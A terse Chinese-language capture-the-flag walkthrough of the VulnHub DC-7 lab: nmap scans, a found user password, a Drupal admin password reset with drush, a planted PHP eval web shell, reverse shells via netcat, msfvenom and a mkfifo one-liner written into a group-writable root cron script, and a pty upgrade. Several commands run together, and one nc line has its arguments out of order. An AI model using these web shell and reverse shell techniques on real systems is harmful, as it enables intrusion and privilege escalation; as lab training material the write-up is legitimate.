【红队靶机系列】-- DC-7

VM17   官网下载kali 2023.3版  https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.3/靶场文件  https://download.vulnhub.com/dc/DC-7.zip

sudo arp-scan -l

sudo nmap -sT --min-rate 10000 -p- 192.168.182.136 -oA nmapscan/portssudo nmap -sT -sV -sC -O -p80 192.168.182.136 -oA nmapscan/detailsudo nmap -sU --top-ports 20  192.168.182.136 -oA nmapscan/udpsudo nmap --script=vuln -p80,22 192.168.182.136 -oA nmapscan/vuln

dc7user MdR3xOgB7#dW

根据邮件内容，这是一个由 Cron 作业调度程序发出的通知邮件，指示脚本 /opt/scripts/backups.sh 已成功执行并将数据库备份保存到 /home/dc7user/backups/website.sql 文件中。这封邮件是由 cron 守护进程在定时任务执行后自动发送的，该定时任务执行了 /opt/scripts/backups.sh 脚本，并成功完成了数据库备份操作。

/opt/scripts/backups.sh

dc7user@dc-7:~$ cat /opt/scripts/backups.sh#!/bin/bashrm /home/dc7user/backups/*cd /var/www/html/drush sql-dump --result-file=/home/dc7user/backups/website.sqlcd ..tar -czf /home/dc7user/backups/website.tar.gz html/gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sqlgpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gzchown dc7user:dc7user /home/dc7user/backups/*rm /home/dc7user/backups/website.sqlrm /home/dc7user/backups/website.tar.gz

dc7user@dc-7:/opt/scripts$ ls -ltotal 4-rwxrwxr-x 1 root www-data 520 Aug 29  2019 backups.sh

解释：文件的所有者（root）和所属组（www-data）都有读取（r）、写入（w）和执行（x）的权限。同时，其他用户也有读取和执行的权限，但没有写入的权限。

drush sql-dump --result-file=/home/dc7user/backups/website.sql

cd /var/www/html/drush user-password admin --password="123456"

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

http://192.168.182.136/index.php<?php @eval($_POST['glass']);?>

在定时任务文件中写反弹shellcd /opt/scriptsecho "nc 192.168.182.129 -e 4444 /bin/bash" > backups.sh

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.182.129 lport=4444 R

mkfifo /tmp/zkemj; nc 192.168.182.136 4444 0</tmp/zkemj | /bin/sh >/tmp/zkemj 2>&1; rm /tmp/zkemj

python -c "import pty;pty.spawn('/bin/bash')"export TERM=xterm